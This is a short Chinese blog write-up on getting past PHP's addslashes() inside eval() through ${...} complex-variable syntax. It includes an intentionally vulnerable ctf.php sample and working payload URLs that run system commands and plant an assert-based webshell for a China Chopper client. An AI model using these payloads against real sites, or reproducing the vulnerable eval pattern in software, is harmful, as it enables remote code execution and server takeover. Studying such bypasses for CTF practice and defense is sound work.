网络与信息安全安天365网络安全技术研究团队网络安全实验室

PHP复杂变量绕过addslashes()直接拿shell

2018-06-15  本文已影响10人  DYBOY

很早的时候,渗透吧群里的朋友提出的一个问题,自己也是迷迷糊糊,遂记之如下!

0x00 示例ctf.php

<?php
    @$_str = $_GET['str'];
    //print_r($_str);
    $_temp = '$str="'.addslashes($_str).'";';
    @print_r($_temp);
    @eval('$str="'.addslashes($_str).'";');
?>

0x01 绕过执行代码

访问链接如下:
http://www.test.com/ctf.php?str=${phpinfo()}


就可成功执行任意的代码了!

0x02 原理分析

涉及到php复杂变量相关的知识,找了网上的很多博客,居然相关资料很少...


0x03 Getshell

那么有了eval()该如何执行任意代码呐?
简单尝试:
http://www.test.com/ctf.php?str=${${system(ipconfig)}}

执行任意代码成功
构造我们的小马,便于连接菜刀:
http://www.test.com/ctf.php?str=${${assert($_GET[x])}}&x=phpinfo()
这里为了便于浏览,我改成了GET型参数,菜刀链接网址如下:
http://www.test.com/ctf.php?str=${${assert($_POST[x])}}
密码:x
成功拿到shell
成功

0x04 总结

成功学习了一波,同时可以出去吹水了,addslashes()在编码UTF-8时,也是可能绕过的~

image
上一篇下一篇

猜你喜欢

热点阅读